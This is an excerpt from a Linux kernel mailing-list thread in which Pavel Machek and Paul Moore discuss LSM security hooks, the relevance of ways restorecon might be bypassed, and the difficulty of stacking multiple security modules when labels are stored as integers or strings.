kernel with both AppArmor and SELinux support built in.

Dave

Re: A basic question about the security_* hooks

[Pavel Machek]

> The restorecon may not be executed due to "mount -o noexec".
> The restorecon may be replaced by "mount --bind /bin/true /sbin/restorecon".
> The restorecon may not work as expected due to improper LD_PRELOAD environment.

How are these relevant? I don't think selinux allows random users to
run /sbin/restorecon...?

									Pavel

-- 
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

Re: A basic question about the security_* hooks

[Paul Moore]

On Thursday 24 December 2009 07:53:35 am Eric W. Biederman wrote:
> Casey Schaufler <casey@schaufler-ca.com> writes:
> > I'm behind you 100%. Use the LSM. Your module is exactly why we have
> > the blessed thing. Once we get a collection of otherwise unrelated
> > LSMs the need for a stacker will be sufficiently evident that we'll
> > be able to get one done properly.
> 
> My immediate impression is that the big limitation today is the
> sharing of the void * security data members of strucutres.
> 
> Otherwise multiple security modules could be as simple as.
> list_for_each(mod)
>         if (mod->op(...) != 0)
> 		return -EPERM.
> 
> It isn't hard to multiplex a single data field into several with a
> nice little abstraction.

Just another quick point that I didn't see covered yet in this thread ... 
while many of the kernel entities have void pointers to track the security 
blobs, there are several places where a single u32/int or character string is 
used to represent the security label of an entity (look at the per-packet 
labeling for an example).  While it would be relatively easy to multiple 
multiple security blobs on top of a void pointer, multiplexing multiple 
security labels/tokens on top of a string/int is a little more difficult.

-- 
paul moore
linux @ hp